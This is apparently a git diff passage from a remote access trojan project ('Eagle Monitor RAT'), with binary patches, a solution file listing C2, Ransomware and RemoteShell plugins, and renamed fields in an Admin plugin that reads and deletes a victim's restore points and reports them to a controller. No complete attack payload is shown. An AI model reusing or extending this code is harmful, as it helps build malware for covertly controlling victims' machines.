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 diff --git a/Remote Access Tool/Eagle Monitor RAT.sln b/Remote Access Tool/Eagle Monitor RAT.sln index 67058ce6..567dd6d3 100644 --- a/Remote Access Tool/Eagle Monitor RAT.sln +++ b/Remote Access Tool/Eagle Monitor RAT.sln @@ -43,14 +43,14 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Ransomware", "Plugins\Ranso EndProject Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "ClientOptions", "ClientOptions", "{AFC1D5E4-E5FC-478E-8D0C-6065C6F1B5EF}" EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "C2", "C2\C2.csproj", "{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}" -EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HookHardware", "Utils\HookHardware\HookHardware.csproj", "{64C6E036-FF80-4F45-87F6-0A9996131FA1}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PacketLib", "Utils\PacketLib\PacketLib.csproj", "{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteShell", "Plugins\RemoteShell\RemoteShell.csproj", "{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}" EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "C2", "C2\C2.csproj", "{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU @@ -203,14 +203,6 @@ Global {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|Any CPU.Build.0 = Release|Any CPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|x64.ActiveCfg = Release|Any CPU {150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|x64.Build.0 = Release|Any CPU - {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.ActiveCfg = Debug|Any CPU - {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.Build.0 = Debug|Any CPU - {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.Build.0 = Release|Any CPU - {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.ActiveCfg = Release|Any CPU - {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.Build.0 = Release|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|Any CPU.Build.0 = Debug|Any CPU {64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|x64.ActiveCfg = Debug|Any CPU @@ -235,6 +227,14 @@ Global {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|Any CPU.Build.0 = Release|Any CPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|x64.ActiveCfg = Release|Any CPU {417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|x64.Build.0 = Release|Any CPU + {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.ActiveCfg = Debug|Any CPU + {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|x64.Build.0 = Debug|Any CPU + {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.ActiveCfg = Release|Any CPU + {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|Any CPU.Build.0 = Release|Any CPU + {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.ActiveCfg = Release|Any CPU + {1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Release|x64.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/Remote Access Tool/Plugins/Admin/ClientHandler.cs b/Remote Access Tool/Plugins/Admin/ClientHandler.cs index 7f907d27..63930443 100644 --- a/Remote Access Tool/Plugins/Admin/ClientHandler.cs +++ b/Remote Access Tool/Plugins/Admin/ClientHandler.cs @@ -86,7 +86,7 @@ private int SendData(IPacket data) header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; - header[4] = (byte)data.packetType; + header[4] = (byte)data.PacketType; lock (socket) { diff --git a/Remote Access Tool/Plugins/Admin/Launch.cs b/Remote Access Tool/Plugins/Admin/Launch.cs index 4722e53e..939bfdc4 100644 --- a/Remote Access Tool/Plugins/Admin/Launch.cs +++ b/Remote Access Tool/Plugins/Admin/Launch.cs @@ -14,16 +14,16 @@ public static class Launch { public static void Main(LoadingAPI loadingAPI) { - switch (loadingAPI.currentPacket.packetType) + switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.UAC_GET_RESTORE_POINT: - RestorePointPacket restorePointPacket = new RestorePointPacket(GetRestorePoints.GetAllRestorePoints(), loadingAPI.baseIp, loadingAPI.HWID); - ClientSender(loadingAPI.host, loadingAPI.key, restorePointPacket); + RestorePointPacket restorePointPacket = new RestorePointPacket(GetRestorePoints.GetAllRestorePoints(), loadingAPI.BaseIp, loadingAPI.HWID); + ClientSender(loadingAPI.Host, loadingAPI.Key, restorePointPacket); break; case PacketType.UAC_DELETE_RESTORE_POINT: - DeleteRestorePointPacket deleteRestorePoint = new DeleteRestorePointPacket(((DeleteRestorePointPacket)loadingAPI.currentPacket).index, DeleteRestorePoint.DeleteARestorePoint(((DeleteRestorePointPacket)loadingAPI.currentPacket).index), loadingAPI.baseIp, loadingAPI.HWID); - ClientSender(loadingAPI.host, loadingAPI.key, deleteRestorePoint); + DeleteRestorePointPacket deleteRestorePoint = new DeleteRestorePointPacket(((DeleteRestorePointPacket)loadingAPI.CurrentPacket).index, DeleteRestorePoint.DeleteARestorePoint(((DeleteRestorePointPacket)loadingAPI.CurrentPacket).index), loadingAPI.BaseIp, loadingAPI.HWID); + ClientSender(loadingAPI.Host, loadingAPI.Key, deleteRestorePoint); break; default: diff --git a/Remote Access Tool/Plugins/Admin/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Admin/Properties/AssemblyInfo.cs index e53f56f8..feab0897 100644 --- a/Remote Access Tool/Plugins/Admin/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Plugins/Admin/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/Admin/obj/Release/Admin.csproj.AssemblyReference.cache index afe48655d1959e2ba1c8961bff50e55b17f166ad..fb80ff35a69627f92b72358106d4a15b61527c57 100644 GIT binary patch delta 590 zcmcb^_fL+KjggCifq~J{bt0#mTw~|ScNcGQFfuZ71|%kDrm8|3JB;=6qJ~_#h%e*14ZmBl5gxq8m|d1;yHrA3J)nfZB>4HeYL*VD86f3~AmuV}bC4XP=b2Yrl9&Us9PB6wkV-+{%;ci{;{3D{J+I*8 zqRfI4My|;h8AT@dGm3*;4z|IFwTX$5734~g4I&_Y{7@T$Qp#C&TjKTO6PW<0>=JGte_OFgCQD t$m%6G`@1UZB|Nd;#%MC}OBu+qleaPYPv&IunH(grjltPOciZ6k*09ft!=9xm#h(W85v`6J3~qq8tni42)c5CVB>X K#s#2yY>;f-AF;I7P}3hZrIu_t!)iiQ;Kbj!B%P!v?{H} zO6u;$*w~~AtW$!GLD~;O8pT9cqofjJQmse~S+yi2U{WO_iBK>o`oYJ!*M4?B{O+0m zIrq$&Gxts=l}R0VRV#V@uba7va%#`bK16>gqH1}5Gf=J~qDJ*lHKkOR(o~~Jl*m*V zAoXBmV?HIG)bFfx1JTamy-y4d41vdd39yS;>*_>J5b(1WZS87n=4V`8Hb>GV+08@8 z8!p4pVQMzdh(+Cpm|^QT#bZ*(OD>x`94&bAv$@8+#)dhE?Dbq#g?LMt&zo@RFr)ffcUerkq>bBxCYEkvY2iGSw{yOmg+-3m+*VJ#t(e-E9 zCe-sfgcY3?7oIn5MKT4Zc#DKNmGrKoIrWq`ojxo#U<$2V(G=>fM$EuxHlvO1H6KL} zC5>Hp4+$}dUdrgh>Jjtv!zCaNc)E-}`?+$qZOZdk60a+Z<;%t8;{mk9s5;G+H9C;R3aUIjv4G?vh z8WH^?<7|f!hs8N9RyNzcrt`d)0DZ}O39w#Dvn1T=qOa=VZ)Gzr(U53o{wh;+nck*G zT&L~Yb~;CW+9S+A`B=}<9xKRv#o>nz*Jwfh2kz$O3)ExnBob@6EE31~6C*LEdi|GZ zn`#SG&^0v>=veKMr@7M`P+}3ZjC~9Oe4Z=gepLvRk*2P2d|lqNYNwC`{lhy_`SdNH zy7Z>rq5igK@|(gff|4pzdR4QXYOw50S4aOy-Y9>I{O`Z;?mI2n-R)D2hxea2y?7-5 zNySM)G4*2Q-q(c57YWdiU{vNJxAJWhj9gLPs*I&^87`K!{GqB%M6rA!n&5{D+`du9 Za2IO%Hu}J-1veacAdwHOS*BdA@h|VE0aXA1 delta 1250 zcmaKse`s4(6vw~k=H2%rP4lB|)~@YX(x9zucCBq0Vo5uaA%i$46Y3MG$Ph%^&0jTxiW4^7C~k$>F;LNg;(5>ZUoYhI&i$T~ zbIv{QM?RfTzj0Kv-?uLmU#q8h@yz3NOA$57@8Uqcii)jjkQyne3Y4RWB2g)mH2|sJ z=yp3Tp4acM@&d8GvFx*>nM2?;R|)JR*82Mp2?IgaVh{KCB>CE+R?P97PqLerj?*5) z&{3&5{823F0kj*AE4csT4(Bw7gmHLLXH}aO$g8k7mgo}I zrXM%0A}1OY4j*uNS95HgZ7-BQ!1;H&876cm&o_En^W!8HS#MT{y_*wpc?iP-oV{c? z(ThlP%fh?JT+tlP#$hzau%b+PP7 z;0LRd=X7pO`&sq-UZ5%Ug|Clxs*UA!)T=tm-`tYY`02p^Gi?C^%j);?*p^Fd6FRsK zVNGYngO^Q5kxYSUJ|baWCH(i%ygJ~|<=&I6m_~v-nns7!jTr>YBzou}^JxrH!q|sd zq{JwOD6fyPHzp4=kI}367z_F&UZl6=>#lN)?Jscxlb8}Z$IqDWvR-6+##IWmz|)^( zo@X{1^YCFo?GIG%>5x}&4c}VVQNSs!lkLxBkol6h!K@ZRj{F|0xP#-?Zy?%bYDDDK zJK3&5CoIlsvEt5}oau(>b3RLm^;$YZe^_cc(D1}nnWSsL21_{=XLH!x=sjboL#TK9PH{`ALUOe_x!-GU^b}81y7Zti^yKF-mUSz`*F}I@yp-aiW&0Tw~|ScNcGQFfuZ71|%kDr27zZrF$W>;dXP{?nU~Fi~z!(g6-Q>H>l_-{PE@#=v$Ow{~ zfGYlot%iw-k$Li3Ru4%Apie}CD~n4~bM>6_^U^ZYON$aqGV}8$8#3xnUckh|4^qJe zRS}V!0~EJpW?*EP9Lw3n#K;OVWO5#(iwH;=KU7(8YI12&W=SPJGf*`6mFA`vWhNKH z4Zp|Pz~&qAe_8OY$thfQFy;%cRv5FGyG639lVN%AEe=qaqJ)RzWCJ!OP-M;iuF84| zPh_=0B4@H9qbJA@leaPYPv&IunHXUVu`5A*j25!E~EWxz-C+jlC k$&1-NCx2iMn(W5mGP#e#M;I6!5JwmRBgNFf+{l~(0K7+^-v9sr delta 158 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 